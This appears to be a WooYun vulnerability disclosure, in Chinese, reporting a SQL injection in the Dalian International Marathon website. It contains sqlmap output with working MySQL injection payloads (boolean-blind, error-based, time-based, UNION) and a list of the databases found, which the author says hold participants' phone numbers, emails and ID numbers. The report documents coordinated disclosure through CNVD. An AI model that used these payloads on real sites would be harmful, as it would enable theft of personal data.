乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-15: 细节已通知厂商并且等待厂商处理中 2015-12-18: 厂商已经确认,细节仅向厂商公开 2015-12-28: 细节向核心白帽子及相关领域专家公开 2016-01-07: 细节向普通白帽子公开 2016-01-17: 细节向实习白帽子公开 2016-01-28: 细节向公众公开
大连国际马拉松赛是由中国田径协会、大连市人民政府共同主办,已连续成功举办了27届,它不仅见证了大连这座城市的日新月异,更是我们大连一张靓丽的名片,将永远展现城市发展永不止步的精神。我们将始终坚持“体育、友谊、发展”的宗旨,秉承“相聚大连,共创佳绩”的主题,每年都吸引来自世界各地的优秀马拉松选手和广大马拉松爱好者参加。
前一阵子被同学拉去参加这个比赛,还是觉得满有收获的~~~最近才想起来上来看看我们的成绩,当然是打酱油的成绩,不过发现了这个
http://**.**.**.**/portal/index.php?c=main&a=index&t=0&menuId=1&id=1&mpId=1注入点是DBA权限,不过路径保护的很好~
sqlmap identified the following injection point(s) with a total of 1409 HTTP(s) requests:---Parameter: infoId (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=41 AND 8316=8316&template=list_two Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=41 AND (SELECT 5517 FROM(SELECT COUNT(*),CONCAT(0x71716b6a71,(SELECT (ELT(5517=5517,1))),0x7171707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&template=list_two Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=41 AND (SELECT * FROM (SELECT(SLEEP(5)))dauj)&template=list_two Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=-8109 UNION ALL SELECT CONCAT(0x71716b6a71,0x636b4648416158744d7a446f4f50716f754546524364434d78474e676d4a656f6c766d4958417370,0x7171707a71),NULL,NULL,NULL,NULL,NULL,NULL-- -&template=list_two---web application technology: PHP 5.5.23, Apache 2.4.12back-end DBMS: MySQL 5.0sqlmap resumed the following injection point(s) from stored session:---Parameter: infoId (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=41 AND 8316=8316&template=list_two Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=41 AND (SELECT 5517 FROM(SELECT COUNT(*),CONCAT(0x71716b6a71,(SELECT (ELT(5517=5517,1))),0x7171707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&template=list_two Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=41 AND (SELECT * FROM (SELECT(SLEEP(5)))dauj)&template=list_two Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: c=main&a=detail&menuId=2&subMenuId=12&t=3&id=12&infoId=-8109 UNION ALL SELECT CONCAT(0x71716b6a71,0x636b4648416158744d7a446f4f50716f754546524364434d78474e676d4a656f6c766d4958417370,0x7171707a71),NULL,NULL,NULL,NULL,NULL,NULL-- -&template=list_two---
总共有2个有数据的库,对应着两场国际级的马拉松比赛
web application technology: PHP 5.5.23, Apache 2.4.12back-end DBMS: MySQL 5.0available databases [6]:[*] dlmls[*] information_schema[*] mysql[*] performance_schema[*] pjmls[*] test
里面有详细的参赛选手以及志愿者个人信息,如下:
手机、邮箱
另一个库的身份证号等
接近20000人的大赛事,还是应该做好大家的信息保护的
过滤~
危害等级:高
漏洞Rank:10
确认时间:2015-12-18 17:19
CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给辽宁分中心,由辽宁分中心后续协调网站管理单位处置
暂无